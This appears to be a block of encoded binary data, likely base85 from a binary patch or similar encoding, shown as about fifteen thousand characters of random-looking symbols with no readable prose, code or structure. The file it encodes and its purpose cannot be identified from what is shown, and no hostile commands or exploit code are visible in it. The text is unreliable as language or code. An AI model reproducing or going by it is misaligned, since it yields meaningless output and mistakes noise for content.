zZsy;IpmjBZPjb9gLB`(RizP7qe;*^5x?0JfyFJm^<&+U`1YSU)samyD#$*fKeQ{>J zK{Hn}-~Ev{SxvF{rXx3-@14@hSi#w=CChz^C(51Jw)kiG(QYGmrG`~%)nY5njOOx| zLi>QvkqQ4rU@gU|@be{?mYn!;DmQm0UtxIS)>mLre`9$Nz5V)y4@w)=v_5$+fvH0WUB#%(yAyH0;A`Qj&7LbgkG5f^61V!9yEBaUW%{; z*mu=p4)$etgY^delZN@_zp>ToGX@h0Ck+Wx(oSoznI<_dAt^pCrUU*^1g)iKU*Bma zA9BmM*7KD$V6MRBLTB~5Uib&rCpgV>%3ahpct61P_$z6Xl~P^R<2+0j`wW@>VErex zJCw6x)Zia)YM^cJnak)Jl>MK7m#V?P+C-_EZg?(M#dm`mb3)X%5}fCvmMs~eg95>l zjo{M)f2wSY0JM}8&~Y4~`XD3!H7GPY=ksb5^yx14{;YNtV|$w#xXIQOpVeK@$wzce z(fE<3@lENeZ!b_1w?b4DLi5kz`*}%v*N&#${PU>U9)+k@Fl}|Fg~s~xxM%4~foTN6 zZAfHa&T{$_>L8%(M@rILJf{=idO^|$44_Buy$dAxCNqsBCgUPt{w*nVqlm8aMS9t{ z%neaFN^x+$b`%7t4^-qY28Br%C6=#9{Y=9#0>A};FEC?Hh{^x1)H{j)H_d-s^MB;e zf7O@2ED(Mv^(l_#02!BnKLHB4E(w3E)c3X!f1yhO{N1F!E%AS-`5S2dA^!Z%K>h_% z-=6r}Y5snif1N-7*g*bcQs0sI7is=KH2-CP{=@ z%VjZh#APwFr@xuCu85h9u9z~0`@5QQMP&5G!WAg2xFW)4`U~5nh3)bRTO%ZKB)#EbH=BrZtA2=(pwFh^|l%~?VY@e8>OWX#K|S(Zv;zgu<$=- zdJlegf>~%EmB#)fVLl;N?c*^2`HvZ9+Xv8K#=Bg7$Z*5}`1GF)O#L<$&kT20e}u5H z$Jp3oWUTF)7<-It$c>=So7FMeuIYKr{F=_R`8btEUlW^4i&4kf=F`{wZEhyj7ue?O z*D|m<-VKlI9%{9ie2q=MMkfEOO}<7Z*slAVe2q*_xUNmUW}1ARN@c6wUfsgmHt|HHc@=-)?v(g#e?xFA}}g5jmVvlr|!Z;==5(sjH~pXS`mY z=xyA=FXgHaeqWAiavH^8jghlAypo?bMdV}=VV&n;Qh9LQF$GGO&H8twehy&!Q62}! zekk6@s2+nt*iB8@kKfeup9gHto5*t=O8sH!06aP7!{Z&0j#r>i^JXxk_4_sDB&>~x zR+7~K)rM`K%scOs4Sdi3>ZYuhCX>pfjK$Gb-9Y*l52ejwX|qV$&sy3nlGYDE`>A*7 z<4{iOz7*x#ufI!2)zmhkT7NTW;7z5@_$bmjNUfABcMh=51Eh1C)_H)W9YHY0?TI1` zcJ0e%SPvL)RZ#jfgkuEULK7|TY2+b7*1g4Fe;gwIrnk`MtnbNE?E+OCT`lP0Pq)Owu9S>w9Dw#_?{Nrw5^7Zj zIv|9iVhDXi7D8i(R16{&TeONnB=5j2ZxA`_`}tcsi2Sp@DjcguQ0X5uC;mOc@DKap zw>f-6h%@pw2BobI%1Bc1G9c{(iHVlK#Fy`O@F$>lgD#dFs+NSY17_}1bl~mV;=nYL zU;ef?6)Fv-w529EJG63DaVO%Y;V|`g2n*lO!uON#PjB;#wV!@4ioNZfvG&u9)yvej zpMOGvmMNus2yKc*XzIr>|7|2$Z8m_iTJKkVR zZ;+)=#L^pNsr?RjlAEOZHGph5_be9GH!U>(l({1_O|?5gR42qGR(Hoo)2`GAJ%v2R zG+FouwRE^+J~{}-RCApvm&;hv4==zL-QRTA`zs`4s@=n1!JWw|4Oq3HyWjI> zqvFr6==FQ3)y#`Hn>-(WPjOQHWHro+U2?%a8E?N({gHbTnbQ)P*&LZi_ari}-j~Rf zzaJzr9FJPO`>96L@iMxFNiH7POiDcW`4sPFa{Igc+Vstw6US~ZLw(~nsve7a?5~v( zGY^o2X~C5H%ws%C$Iy2OsQ&~v%L!_h1*XCi(lO#B_0anJtR-1pu+F+>QGeW*XcR8P z(YV6Vc;$fv!SNtnJ76L1@+9Inhhxy-3pSZdLwGU` zLGwc&;z1=e5)f!*frrxLr-fjTpYqV0T|>+vIFpK-AL1Q3x>aWr?uCD`sXHMO&#EpX zWFbV7=L5y_nE-h}hQI82rGKSMw)|H@(1l2G(p(~>^FnCST=B0=nukq_--TiYQ(Vy$ zwnyo;sr;yoK?K>R;JtmJ2UOihp@+`wjvLCnu&)q9A6w(L$& zEr9Iz%FzZ{XUgsIRk%TqX#3mmlWpS&I|=D}6NX)!LhOeTegA#0))j<)Gs3HN9bsxm zu+|L(wFJoC^#jtnlH{i#X6*;m&F~khRiQYa%#UDOl>NyEWXvuiUWLRp%F|i@_UbI* z{zhEi@+9&cVM^FABr_Rxg;14jB+tI5JV|>($kvFo6@U(Oq&#=5Ga-)80rXG>cHc`< z@tC{s&rm_VwtFT`QSn2j=pITGzh@GPt(lR+3DUk2ifN&ap#VODiu~iC5N1b;nNUg+ ziW#AfKLE^bR{Z2&@v&WNohTI>SZgi2X#F&cW?d^32br}KRp21nE){==(je*y6*P!? zXT=bOVK^qL_u*Bf9+aj5l0q^M3i4nM^SKY9cNpDgo8H4V!QIwX+wXV8N$QBK_2Cr~ z2jcKB9Ei(7136zg2qq##hpDn@{amZ;k3W=oXfz=z0fD{LM=}jfBV3DYhMqcV zeZ*dm4qf-LNT2w=4gsNBqR)5aQ zh?~3F&7??i^GB0ns!$wZilLffib=6XC{8lPVok9zQuohoLUB5b`scn#>7QpJgT#a) zqNb{W1=;sUVU)f05hb6nWH-zO`6KFWZ)MlcK4NG6fMWP<2>`f;`Uofs7fMn?!ZC`q z5Q5KK|2*5*cSU5iO5)txQpbe+b;in=tMRFdL%>n)E&yVEel|JDp|9lRdXfA$4 zlNT|LCEAx>0NPd`D>IS6K0<#BXh|e+j1c2qK>k}F^BdK9`qKU=65)dLJbgBQfk2q- z7`%a?2t7wK9(jeHCq&^FQRvGR_`y9o0;AFqaQ5zq!q2vP($}Q@5I3U&{m|1V0%H>L zk|B8v`Vd7ngvr|o^!AIFu;$ufahE@+ks#PV8Bv}G%E%ps1-IW@-| z;`k*e&CIra_@uAEy{3P-<2HaNpvv(GXUbgAeZm)nsN7h{4u!XK8InHXg7EZ;p!5l4 zp~5G9LIVIPeL_Mm-8HWX!{`X=nzM3A*Ib)RckjrGOtC0}y7#qQ(!Gt`X?0%twr-kQ zBn!63VMf717>CDUHRBBx@glGmOjbWp3q=+H$o@t}iprC)?(h_?6->0x%Q60yzWIw9 zB}#Th&>XQV0($YBFOD&k^%%I7Pffq;ahi)qMJrurk5Uc4(|xKs>Rp z(BQsDhV%!(Uc4d?nQ1m!Exn38xqXs{E@j8Vnte%BMZzaWtHA`eLNJPtjHuD{z2gu> z(V>ws1V4HeJJzevYiml!nqYHO0~5 z#1u6{U6+@(hc*iTLmP&_$7>w^hh)bL5k{<39-Kchdr($ zEtz`J;gp-NW!z7j;K}MJXMAO+N6l3A*sevH$gV}1&@Sui&vq?3UFkjYGfQ2RC*iM| zbWX`k*e=;$HzeT;!({=sb%bDfBzC`Na*P1*3&7`}0fi2)r)x5Pvf*p-Y;|3BiB7S} zr^w_!uj_}-sZ9LB+pVH(1)V25#=cJT+B@n3f%8$TeVnGbMaWf5Q(E07@WAVOv9>^L zKbMIXYuC(*RsIzZUe|Nf7OD6<6U|YUH)M`_;f?2*Na)@xr^l73=9sUTKV>Fwf69#B z7J5T_`%`AU8Bt0N$V>y{4RK;1ffe4!aGI!=3two^mRV01vxsQL8#I!CA)3Pg*!Odn-JBV_?8Y~-CC(tK11!Gj z5I3L-w^#QGI0b+`OC{XL#)DQziRl(1^B}UVx=3VM^6+zN5p=1_l{onKGds59Qwgi6 zqOnvw;)?uKfde~MDi&p?fnD6>Xe$*LnWJ2ujGK=J2%S`#M|p3MeUzOdI?9d_t&)c$ zI?7JTnhyBqejgHF0fgWY|4K&wDphwv$(9iJ@Aj#6q^VI^`z*)#fEhM9QiBStl z!#IRI2;rLGPqYPJkPU{lHB6h40r((@X5SX588Ud+v+nhzyHsA*y`JRN$jiFdldhwA zweIzPy4U+gVm(I!`xJfJQ7xaI;_}ik^<=11CYn6R4_S=+%Bz1%kjS2+mQ+RZ! ziZjL4+U@C3DL&4b>`GRP)I3rCpWU#Jp&@}jcF985BNW7iW>iY5GhQ(76bvFb%9-d+ z#L1MN&x_S?X^=iy47qKg4>2bd)MhiRcToCe!Rd7rDr=?sX2B22R{~(4Qi{$wk#&ygMhg>UbtZ_&XP0} z1Qn0LS0@vql>|Wa+_dkY@T!ee8Bqjhm!pi@La6+N`U_DKuAQXiW5C;QGUYC!Of5q1 zr-id-Q~yfG*^#Aac>q<>D)_IhHvDU?tW+kbs*>SIXw2^NSXio-%l`J^EYy__XTh%2 zvj~rc!(`LQBHXbKXQ6ReM2`iA^;lq984HKA@K{KpsC1zZnQ}Pvdg}xQ>2-uLpk1<} zpITPr7$_R-?!^9L>l9>(@Q`3^vzwxcBXJy$0%SvxuKbDlYt`Q}J z%^|o0&dsx&Zs?{3N;adI2UjTB@J`9!N}4N_Y!rsV?NtA4=+8kk!J~Q-`aA&kIhFbJ z9#uO^0cNFycwjaRYPnJzVuq@e3O19(C3@GUE7Sma>`uu>Kb1`(#yY@QjDrCf)ZV0& zHgZZf{d%RQQt^jU&n}yMbjSpK4O7X5o~BraRY8yXg-pmZNL-ml;Ansf zvPIL#pol3!)bjI3r#GhT{j^kJ-xd+$4)m=(LMZn{Des=lqHOrWbC;fs0MC!B z)vC9&=_=N-ig>Q0RQy(S6)CA!+Tf2x8T`7m*1*)t{u?*z28uyDsJ0(Qj0bo&5=-~e z*b_h^g9AzjYgjf6e+6}kd27@qG4B|gcZ?K{EG_08BWbJO5%U;4{Ejy7n3#92GCiJd zQgy_;VBV9;bll}O_m+3lwuZaeTD4xf*;BUTDM@y}%T2-1{&%(Br=mA=6$;CL6qao7 z1sPtxF0-n2rmF6dq^f%)3M=>?t753vds-F4%Kj3o>Jf>mwxq49uB$aHHAL5X^-y#T zU|j=9+A-0^(6?o@E{6FM-P$llBQbb$q1yf?Yac|~S0mf^=`v}@ zo7V>$)J19c32fK|QhlQg8#W;lpH@@LYQrW-5Gq%pcK(I5EGdig;unlsK&ahiGl~nV z|5aU-SFshWeg!GGQkK=PAoYKg)9P3F$7Lny`V*?{NvwSnVcvKj4eH6L{e-IUeh`Ba z$rNs(jd=QkEIG@ToF!c?-`Bd&`s+SNV#|DB;3RyWnxoMNxVgv;bb&BYh*?sF=iQ6M z;rW0kD~7)NfEp<50K5imQbX`C)NLsK3~0w=DD=ZZ$ifgc?gMSde~~n+=C=d(4`dI^ z38l?=0gK~ZC|xxvyJzQbXTv@Q^cK3z$MF>u@1W2aC_KSJA{4^Q!;`5k6kaL+>{LnT zc^WsWUQYd{?no~ll$~~~2W7`6UitD`rT|i0|;K@k4;8FN*hr|H#t`w9f>c z+tk;feFv0I1Bv4R6fT=Gy70$5`A-1$78#6R4sXXhX&j-8LewLZQobyvZ;3-b47LTq zrpvW9JJftD+diC+mkp;YBy#|#d9BTGBk)?A;by*=5oB1Y4-LMhVS<4^wgk|IKAjdH zM;PQ-JmATNK4=(y{Cry|MjPbED5OBsCldwAcp?;&S;ibKW4kHirK(IZk!76FGVT)v z#yY=HOieo;w3}JQO*z#28yu3E9Fmz765B^Q#53tjYu;E@vk1uX5&j~r=1??V{V154 zz|ZM-sSjAoCPO}|M_$KAhR;X!rA?ii{1XGDDHiu*cjGNtBzlMbd>%!Y7t#Frd{tAl zd_Ip8&VA1H^ASHEIPJ&JAL((qlWuOG46waSRX*c%kYw#dRCPj?Qb!5(_eb=bNW-f1 zTk}o^S1g9;?_V~A;M z;ap^KGy*WZqM?d5hl0xA8ve}*ASw7!$fmM_*ovZ{T}4qa$xp%7ioAb`8kPv_64vmi zzlKX%!$yA%?^hBHH7kjR^L`peSK>1pL7EEtgW9h~yw6RwhMQ^)HPuXD!)~#L0{vSh zpQc)2@z03(KZSGoH}wiW-1@(Ub8!}@Zy`pHB{b_T3|p&vVT^Dl6Q&4XtmGGAYh{UW z?&^LKZd_R+?5Qjf{-C;Vgf~~_HbjjLg!NakpqUSh7DSscS#YMZp9N2~1s;D3>Q@m9 z5~_#=qx>vbU&U*|LSfw`7Oe7t(Sl7TOcork;%C9bDq_K2e+xdXDi*|66$>8tS+J_A z*Mi6z%(_J^c-aR=3-XyTS#Y?jp9OcSiUlQW_*qcBnphB3O)U7lhOY%nt9eI~TUdW* z4g0G3X}DfZG<5RUP^r3T_`14inBb>jL3OW&<-)p^HSDbJr{PL<(Xho|!-q9QL(>|f z;gX+**)_aT{7+c7OVlE2YM3W<2kppixUJCdZ0N=-; z>y3{BKG^lf6qi3t8Eo}luS~T1?N9uyuJwsnecs>dF`tOlD?SmcGuQI9I@71#mMBt- zS&xXuQYK6q3xDdTvFfLyu|h3Bjl(|`jf+1OjZQy}p|!mlI|%DB(b(05Nn^g+ei|#( z7L5b_H4dsR8t2s(jf?y=syg15*(R)exn*9jBQ5i1Ex(p=*GZ#g(8{Y`8EECNb^NS6 zSx2mV>ThMqx?*LWx?*L~PkgPMP}kc-Ykb12`&q-9x_%mt)D;aaKJnA=Rz3ZMtS1_} z`)L?m&l~wE!g^35KgWbg~l#BW(80O z)W|SnET++^Xy9f;Mcm6?1iZyM2(YKVUanQ-b>$MA-#`~K)pJ|~=my$y9jE2b;LYR# z&c~nOYRFg&&l{m^;OGEQ0l+)DLLn6jMf)s9FNeav1Ceno6jotj8WgsC7W5~k_$WSh za!?(}%yxG%2j-(}gML^l#`jlTFMiEtX1Ac)RO;ArHsL4{s5M~-;ntV!|eq#x9FE=vy#N>Jk(nkQ=w|~l~DDiT8wSg4X6f)AysHjHVapyym7`3@6HyMtt z0R8|~j)PDbiG|Zpn2m+Mps*gfh$oxy9A%zsnkS;M@VwescuF)5(%|hpaVai2B6&#N z`iPtSj6ti&GX}0Aziuo?B+u~2S_sA(WG8bw7Ow)E7zYLuow+X%9 z-zRH+ZKB_0c1rX8WzeK^sfo-rS8DstHTOs)F+355E6fo3xiGv`$Cu&7&rOCRb(rBF zX2`D@D*7>$_A)dSh8xUKNi($ZW2oxE;DrD$^WossO-mZ(aX?S7hOxphm>EiGhWUOB6}=1_g<%9U)YA-m{20FW zGMp2JCCreZ8SeQpeD7tj)nkTb%+N+VWwuN?8mUe%g|UDRx!ix znjzMY;gFZ%J7HMM3>P%R5I=@HUWQ+UVLdZgn+n4^KZYDlO@_U~u#p+^YKHTE3?;n` z_l03IGgQzFndWQd}w*p1p(;`E^6p=&yM7H|U6ggcuFIr?BWx^!s+b=~@XDw-`pQICB zNvDOghe*0?!X)W$E$NY#^w>|*7tQEV8j|J{u6VR7#^q_}aVC{khv|b}gY;zkjP-P7 zJ*}IG_%}cE72o;!#g|fl`iL(s;-B(lG)jyA*iZbTX2E_%^SKv8f80!V3G0aA zy{ymJ<>C`*N7dCA*qZ)US~B#v;*ue}Id2sArw>?jA|zi$_or_f3jxO7>@$2os_A5I zndZ79wil(NtQ4)@%_Umh{Gv6gxj7hy3Bx32n4uY__%ST^GAt8@am?_WX4veh5Z;xco{wrhF_TB zW6jXOkD-p2!6gi{nW6btGM3tC&h~zs>%E+PgmWHq?$QiX{1{Gn8I}pdd}jDtt9qn4 zxB785`P$?>E}RRP)AhA5T=!#0VTP=;vnWeLW*BHKT6i{onNR}${pstVJLh^J)p54R zYyXbXQ4?fdDg$XL4WuDo>w&b?%0Fu)sAc@=E!5aEH|1b^MWaVpoIEUJ1f(~O$?!t1upt!!p>UecYh$`0tqFew9 zHK35cBot<}KtsZi_5|JaKy-^W-C8KvKL8;_d;^I|Zf%jfi{(Dj^kFSU?)xp%4R1q9 z<)%)mn=czeK(S%c@q>Ze%! z3vnPW7k!TDq=4Jk>6R&k*m8)qpVqiii2KxOm>*R(Mno(i>_r=i0rWOL4N*-RkpY#_ zfE6U(9?htxh&oELJ&lz4L1s&2eT=N*na)WEqFMoBi-<3+S|L%RR{Wl7`w&8T3FKK655zqJ|xOznsS?_ykt`57Rs_jc}r7;!#3bSyQ$!DQgO4G*Nz|DSyzEgG|b1LRpO{$7;$2nsR3p^`d}O=YF|d z)hYF(U(Rz(8}lddQO_Oi7IM46m7{))aA8l|>OSLf$z5A|g!@@1!Au zbA>u6spvUo#%!V8vp)j%m!kttX4vrLMtkj6y5f?P)p@$jm<9e9i30OQ^RGz%(P5Lf z5c)<#??wk47_s3QlON3(;^~r)qUCf+BPh^;k}lCfqpIzo9H}R2W_^)odGRPjvgE1n9N0>D zn89QYjFn`5p}JoK9S6x~<)(dsHsgGS=_v*T37OPUOAtYzM@S$UmZ?6leX-u>ECiBR zgOGR?1UiPbn53U7LxWUeGGVL>3sOfXR zTtrpZ{R~~;WRU3QroyiDV?bTKq`Fe;3F2(MB+}s}2z0hylAiTEL3&BOB=3Q3Pmnm& zOM=!w5^fPskltdFP;Fp;sh8w!EKiUw1NKWxd4f%^N#17i1nDxwZPo_%m3m2jfk%?e zL4x}XQQ)iyL6WhEwOO92#nWO`mGzmb`j|)`tFk>)^%>=d^aSZO^^)WxW~|KqtTCJd z2rF|u+ZJYC9;|=inW?ybvMV*(9ekq3je}a0COTM69jXcJURcwRY680s*3^rMp}N3! z#k%?)R}@tSx}WH3-7q#ThMxtYnF5Xk``@-PaPG6$X#|i0)q-@WTGUHw5r;RwwkU~| zjrjJBuET=L<1@%MYyA-{5DyzaLzWyB7pDoo$cPZ1Aey*kI>b={U!mEoksJ6PkW9(e zXQ^TNPzq@Fq~kc!l*TJhGN5?}bN*bcmAN$#LyFOWN)d@0CWe~c+2<-7rza{l zuC1#?$G9Yw)A2;94R60rv|}6puP(AdITJJCT>u>tqe?ha+zD|}@GjGsE)c+1JUmot z3^$B??Uh=XX!zVHqeA1{#p}A-HFQPceQ9!Am~qicmn5{E0<>qOAsp;~R49Vj(c`koypH`u*B=({KJjatk zOjQ@QhX-Cy-4LJU2E}K`K6o`vaHYh$qm?>b3cQL&Dy3Q+vZN_7+E3EDG$iF^N$U+3 zC6{6sujx!~$lEY}FD$yz~5tcBRA2TK11q-7%XJYZj!ulm~(zV*@X@Q|`?Dx}h zAQZ#+99odITE<#%2hX_RRe_^{Zn0 z zFQX^Aof;A9-UfldPn$-D(w9wva*7mXF^=N&R~Z{wTDEPtHAuI0;?RI0NhhK5(N|I# zNU9R=#v8K^c_pPcabmevVvJiEQw^W_(w8BYNHt+`zF}%EP{+h6^}^8%$Z0FbnD@No zwXnx2W6AT<*MXIeGFGQa?(Z#7H;O~^M_8WE*+w0bfO^eyJKG_dFL`@DUn%bEpIf+G zKJ{yw3<=56?qrNeBR6t!Y)*iy3A`xEmq3`m|26^`QxoIb2lDl>ntXYQuc!4{#uy=Q zsODa3G0^H=yB&s9-~%pLs{ zGOxeFD3}gY0%oA@Ja2q`o^J<4c9_b0Q07sZ%6iCDmY(h9cwY1|J=oJ)YxZ3>P7ERS zkIx4#8)?-zDP+vKz@8Bu=V3wGgIOVItSJ)RNi;cn^c*>meO>;S#ry2_z#NXrrttTY zDhWyckKzAsPuTS^F8Fy+_X=J;Dc9DulE2=kZk*acry%owqkgscU8LrBcl7@q&oVu? zW0}P-yPsPLF6{S}qQ8OFT;l&Bzg7otG0fYB=?=H~I%hiL#w)!`|KD+9R{Gs8xHDGo zQVm|)VVuLeT`a7BU3HvEewUTIJTcH{dA{rPc2MkBd`E4=cy~M1SxvJVV<~BfzSR7^ z_tc2ChAOMUGO9bgYnCe(3oqgYU(Fw?440vbB&d=_p^V8$ljvbysuIi#kx*r;oh6%^ z+gK@-TF4O(P<|Kw!u~L4HnmFd4rNRDFT46pz*3F@0F_1VagVdB1AzWe(NUx|09JO< z*_mb=vZ@opP}*_l*Q}}z$^8#XS2bSQvb+$g?g&`6Xc>UuKdWzJ)Wz#lY2Ts?euPT5 z*0iC_25oQy;|mw&`oZOuYJ)ouLtXm!;x_o!Evb&%@F(>hJ<5&P*)B? z7{~To)Vr06^?i)`~-#kDNqwtoQZ)&#FCRO%Dk zYcGbX{s7ems6X|;7B{l15hl4K1;7a)sp$7m;B;>jp|%p4huPj%#d@>7sjyE#-cM>5 zW}4^-#e--}S16pr!T>1zjaG$?h0@P>U*g9@}fZ5Uo-abT{)aAVvix+$sOH6MC_&d5@~9ym*h%R z-PH;kD>}-Gj*_BsrsYSC?a+;7_#Ay!3t!SxBhHXS71s%F5l8u(Zcsl>Mu0cEZc-e2 z#7W0JM)C#|ag@4Cs(vGCSF%UlGc3Sud;=Zi62xt$wBjkl@f5%h5dZ1;2(?n$uYZUm z5x~#Bp?1eUzDYQ4a37ET22VXfVbV9!*_VDJoqa1Z*{~T83C~S~+VaFV(w2WADK_6@ zB7O0tP<38N?;EV{Rul7XFjV(a8&Oxcjc94r23hL@tNNTt9~-vT0NMbo4B&Xf@g0C| z+ZfMGf4;5Oz}Zgqp!_Zb|tl_XG_3pDeqg79pi7g+@m(&cl z)Ppyi58~1Cq*4geYL(p>%57H$$#=l=1H89q2TJ>U;*2^-1bGwa z@dKlwhV;H87Tan7>k4=jMv?7rKr|M_35zXn&QKL4-~nA9FNl*|-_fVu-#y%8g@vFC zFB<88$!SjcwriHZ=~D^)lX)=u2H%^&)J}M1N|H&x`m(mn*t4 zZ8nV}aAh~H zGzM#AXS)0-iI5Ws**?YNRFkd9KMDEkenGiHUGcc7t!7ZgJghL9(urGFRI)lszdEgU z^JD)XTQ*gxDL36Ei{mMPzd@BFEK@dh1`0(Zp`aYO;om22-F0dT!&UA&pEV8WI$sLn z8h4G@rU6~&TR~js`X2-9dkW$P*AEY@pCE{vTt7FkewiR{asB4N`kjKf&GpB8>(RgS zg1E!}-SYJh>mLc?F4x<>45-f`hvz-w@U0|z(js9~sri=) zQ49d|gz~EN}F_r5bzV!_N@u47QSe30Gz@G@b+-lnhU_${J_r(VGADT(B7WR(JWaQgPWzk(%F3N6K*yz-r%8 zlWkj`Lv56rE7qdt093Y?n_pDh0htBc!7kzs2-R6D!)FCP$Kr1^^Jxf_YHiMl^S)B; z&3&Z)vF=6nl2F~S+K#MwQ5BPV{2Ht5suxu?FAOhaAfT?$-?Tbj1h7ANVS50Kp9|r^ zOhsQ_`yvn*fPY&G@`ORc;{-g<^GJE%_lUU1R!1EG$ACCTV<^nfa=Qu7Uzr>zcQN8o z^bmj1WBo;AznLbYcXGd3(LA7E{U(TATz{l_K)?E15c{NG{VVXF+%K|x<Efyu85 z;<(ke3@j?}6G{6LOt2T?^Sm4!^7aRYs^!5;U1DO? zM7kQQDS-AmU&)hY9MMOiE%xRbIh~M$5J{6kqWCy2geHTH9+?a-dHf~=YqB0QslqTh zggSMXuL5S5o`RUp0!t-}z$VFl0)I9I4ibjhA?YnKs=>SdKy@S=$7==0Yefid8!SyW zw+&W=;A3z%AaHY687o3?dq5TU*&8sJMplO_B&N}750PF-rj!C+rNXtEnNo0H$l1OY zZIfROp`CHsl~@%*yX7hL?B5-NkLara*hhaw-<_+c*I$)fY5yU>OuN7GD6vTe6PYJB=s}Wp3!M7e;c)1`Ba+lftb-)Abk{}Lo{lC8T zC_hIFMjU4O1zY&Y$5*a$f_NH2uUuu?%9~dGw(_PGO`*Wus_H^|EU>fTGTrQKW!}Z^ zHptvM>m5qnt#>GPH#Z0?7Nm$Q+BF_4%pwbetVnOHwGlmZpiA|Q}$1Tli^Q+(@jg6t%S(V;X!_GuCD;2bK5 zG0Z>Chd-U6$ZKtELRLq;j)~*SR#wJ0`=lUIi^#=v9fa^~NM(dIw7IL(1_(lus9|~d- z*IQZ!)MpmNVy=HNu>N&HEaCb>KK0M`&4zKU6Pq;5&td#ov@70~pcq)${@Go) z0MYbfHe6X{Q-?)&BhhBW+Ik)%7Oq+WC> z*K@>*4nd5;>_a534~y$V;+~k|`h?+|JFiEpO3xV(M(feA4zh0iv}KU>XoHr1i^irc zeHV=x#S9Ncj8(Ek7|fOpCd(o_Xv+qN`RqUq4hy<*6Bs`}Juyzb%aVt(if%2bqS`Lpz5&qzl72A;g>M{ z31}V)#`{1kL~fv2l1AM!8dVoM(l1QV1Jt�`Q=E*im22v7DM_!gqM_60t?M zS8M3f&ZFNMbmhSs7V#af%Fbw#4McK7NH!43BOVEp&2;7_8Mi4=vMO8at*d|C3neC~V~x0jW zp-=+|Y5+l`V+%m@v3@5MPX9pfcPOHG!o$-oS8u<^%okE>;bRLA+&YDl&2RtzqcB!W{%T(&jzxs3w$6tNE z=q!u>ZgeTT_DEzQ$6T+cUs=|0ATo%IV6!>|Cu2%8X(0|0e4@cwic zXMrvdmu=89T1(*ig*(mwSOV~ldx*z^_2p3YEmB580S^G+bTK@W;~fCMLxP%6Sd4|n zPmTmu1mFiyWt$TFk{Tki$6Fjb0IUl5{KuhC zw`+RMUnch!wFBAm_wLqx_?MEZB- z*G0JobrgaWN`}{THF%~;R^!4u9kQrXfUr-((HKJtej&0-KLuG3JZrCc=jIq`*70Dq z6aV0lp7ImFmLQBmcl<;*_`nMXJ=<;%d(@wr?<9?+bZ4`jtrZp%m_^mj!lF-SVX@7R#r)2~;%?`hDzX88hp5SBPc)lrayHfE zlU=kcZcb7qVzwfQStU*uOI zGa?bsCj1p%xjfbi&j0sIt!&Ok-vGQ$Ow3>XupiZWli5n(h)m@)_z6 zP(I!yTihtu8h+8Cyi+$_>f-BgSSj7CwR!?Qx~D-z>8HuX9Kki1Zy)GYTQud{Xrmo7 z0onuTvI`)fqBmnF-7QE5mFn>%yW%a9Xh+bQs;`{|Dn|m9djuq~b?5u(%b_7W(49AG z%dsJtA%4ob9IEOyAc=hD!F;Nv2v(lFuG%!^+h9TYk^4ciZzT2whwagD^)@7OJP3g{ z7$^*ZZ@cT2pYMbctT8OKf>A)^P@)(J1F-2#gWQszeuqS?iSU z!CFm_oVfRxtrpu@Wfe(f6;Wk#yX!ivNVaMXlTp2b!Jo9ECW~AzlcMHY6jcHgu}oqs zhf;hJ%3Az6zT&SDMwO`e1$s#FH~SU;(H>cwtvII5RRhIJs!@+!4VS*7d*~upBTt&r z&C*nL4AtzBxd*lg?&m8oPYn{zvBWv{5GeCl54OKpw7)Yw*#2To`-`>MUo5J%Xirh= zE-7zAQtLsBTG6VGOYHmEsnsf-Rjc3ow0c(fG$O4=_Y|#O^3&=wJ##QBf47DCYLgh% zC!~i@P!BKl)EfT8VpN~_jH(F+tLf6;5V=03(yKVL^dS^ClNBxSl{Zfu^ZksOcsiMNrT{dD7z9yL;ep*{sIN2eMZuHGNr9(rp=t{ElJffQ>u4!%(1bgP0N%vK6sA)O0c-SFH)^p51kF8 zoOXNfY@p-&RI{o(8|3_sUxi)h2-Cctc=KQ)K)CF)4Aq}JxqwO&vAP&#y91~k1K{@r z#5%@6AgWiUQNZuu=3*^MZ;L3sNtD99v?#sVxerC@L!uP#MN?>iP?XZWM3lB7N*}8z z^?QjZZAp}fI?%B#Q4bg+9T^bnXl63eplOnd_!`hlaoxr-0YW`Zf?53Xk&2jwU85=h z1iK+L&?K16{(>svXF&ge{yz>|v2ZoYBv`;l!6Kso+a6?%0$>5i{$5gH)zyR@NdQjH zthdZZk!W4*M|B*m8j~(W2g5}Ci)VG_nAt8gcwr4UhWki1i+HVUM4bP|@YFcV#&Bg2 zbB@q2Hh5ufslZDOT9{kXOBUu<#|2rK+Y;xuFt<0(Z(%M1)v#PW18S-Op|z&GKk$(u z6_Et!73x_a=nJ83Cc%$P5V;%_byNiU(Qxbsa6eb_aG?K*DtQHjj+-f$8@yy0u@TTK zaoNvt0YYa@f}ae_Wcerd##9kEfo2t%MDfSM)fJO^l@V??^qMK>5L*yA{f}+My3)1LucxjYnT`R06Yvin z;;N3SNJj{nHSR4&dshS)Ya^rW&|8f5f%qUs`*6IU(MHE-x0)Pq+7F+i!{-sHg|J{t zNw8j6PCgE|)W*hJ1}v#;JPWqM=BNYU;NG~v0f8~Sk-`a~mxba-o1-&;Qz0U{Hw5PO z4oO)qwNafGO>JO-HjqG@QB!My5S5P{X$SVh_&4_6HYY!X=spw9&whr62T zfJhX?=Z>)eecu;f41~a!f*u*}_!+?EBnTz=PGX#tV53ej-ao+}UxI}a)07e%(+M{E zCphOza71F_D8Y4|;G%zmyS@ZQ0>{Ktf;{~sL7@b{1cm#V2}(%^c4HR1p)9HWRcq9Z3LI;RM)Dy%N)$+G=f#AVyybK8e!zNU+ofMh_K4GDS~L z2&k+Df@n$NE;q%M==Fj~qv*ZX=u?0=DhRKmK=E+(J{ICp2wWEQicU}@(Jw(8Ujm23WKe={b%HAX3Hoq?#t>{MFC&<&^w2Ju>^ChWoeWGa$d(nD)bcZD7 zE28@&F`yRi3gT;uF4)2njbc3|i1r4_RinSiRjGxaT<`Ta3-YeSbTo+Y!xjNX(_9dp zI6lJ~k4pYl5WQH*p8#h^CkUkW7j2L3FWR1lnNm&mlQeS;s>;Ltr79=3@TT0cwp%V#FklFO(FZ*HVI*%=tf;6riOy z1Tlr@hi{PnI_}fMFWC-KBv3l(&>5St?IVHv!yczy?cCyzDLeL zqVlcKg+Li+_>;4I8lPb>5m9H7X%YG?-SlA$gkj&FLXY*Fqc@m}57e`!b3{>QAY05s z1=JHMEc8{wVH7H$o*x)wCaPz3@R?7$zT4CfBI&;dP3-I(Ey=pL2v_0QO-$dh5{8tU8r&v}E&}n+U z(66(R)AXtoKd0#(DORUxY$peWeuItL$*(B^?ex4LHgf#G*7$MIOd{Nj*kt2&SxDf` zHfoop+?IBUCmo*?!~q+fbSyYn_LFP6{Z2ZT8%z@7dBVn$;tw00Cv4*OJ5N}X3HRXy zMF=n29Jg_t8;rZ#PlT%^2t?T9=OvwUeC;wUZsIeki2EueVNi 